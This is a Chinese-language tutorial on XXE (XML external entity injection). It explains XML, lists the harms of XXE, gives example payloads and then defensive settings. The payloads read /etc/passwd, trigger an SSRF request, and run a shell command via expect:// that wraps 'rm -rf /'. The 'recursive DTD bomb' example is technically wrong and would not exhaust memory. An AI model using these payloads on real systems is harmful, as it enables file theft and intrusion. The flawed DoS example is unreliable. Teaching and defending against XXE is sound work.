一、XXE简介与危害
XML概念
- XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
XML与HTML的区别
- XML被设计为传输和存储数据,其焦点是数据的内容。
- HTML被设计用来显示数据,其焦点是数据的外观。
- HTML旨在显示信息,而XML旨在传输信息。
(1)pom.xml
(2)web.xml
(3)mybatis
XXE概念
XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
XXE危害
- 任意文件读取:攻击者可以通过构造恶意的XML输入,利用XXE漏洞读取服务器上的任意文件,获取敏感信息。
- 命令执行:攻击者可以利用XXE漏洞执行系统命令,进一步控制服务器或进行其他恶意操作。
- 内网探测:通过XXE漏洞,攻击者可以探测内网的结构和开放的端口,为进一步的攻击做准备。
- 攻击内网网站:攻击者可以利用XXE漏洞攻击内网的其他网站,扩大攻击范围和影响。
- 拒绝服务攻击(DoS):攻击者可以通过XXE漏洞发起拒绝服务攻击,使目标服务器崩溃或无法正常工作。
- 服务器资源消耗:攻击者可以利用XXE漏洞消耗服务器资源,导致服务器性能下降或崩溃。
二、XXE漏洞利用
1. 读取本地敏感文件
- 通过定义 `SYSTEM` 实体指向本地文件(如 `/etc/passwd`、数据库配置文件等):
xml
<!DOCTYPE root [
<!ENTITY system SYSTEM "file:///etc/passwd">
]>
<root>&system;</root>
- 效果:解析器会读取并输出文件内容。
2. 远程内容注入(SSRF 攻击)
- 通过 `HTTP` 实体触发服务器发起 HTTP 请求(需服务器允许外部请求):
xml
<!DOCTYPE root [
<!ENTITY http SYSTEM "http://example.com/api">
]>
<root>&http;</root>
- 效果:服务器会向 `example.com/api` 发送请求,攻击者可窃取响应数据。
3. 代码执行(需特定环境支持)
- PHP + expect 模块:
xml
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "expect://echo 'rm -rf /'">
]>
<root>&xxe;</root>
- 效果:通过 `expect` 执行 Shell 命令(需 PHP 环境启用 `expect` 扩展)。
Python 解析漏洞(旧版本):
- 利用 Python 的 `xml.sax` 解析器默认开启外部实体导致的 RCE。
4. 基于 DTD 的递归爆炸
- 通过巨型 DTD 结构消耗服务器内存,引发 DoS:
xml
<!DOCTYPE root [
<!ENTITY a "<root><a/></root>">
]>
<root>&a;</root>
三、防御措施
1. 禁用外部实体解析
- 在 XML 解析库中关闭 DTD 支持(如 Java 的DocumentBuilderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false))。
2. 过滤用户输入
- 验证并清理所有传入的 XML 数据,避免包含 `!ENTITY` 或 `!DOCTYPE`。
3. 使用安全解析器
- 优先使用不支持外部实体的解析方式(如 JSON 替代 XML)。
注意:XXE 漏洞利用需在合法授权范围内测试,否则可能违反法律!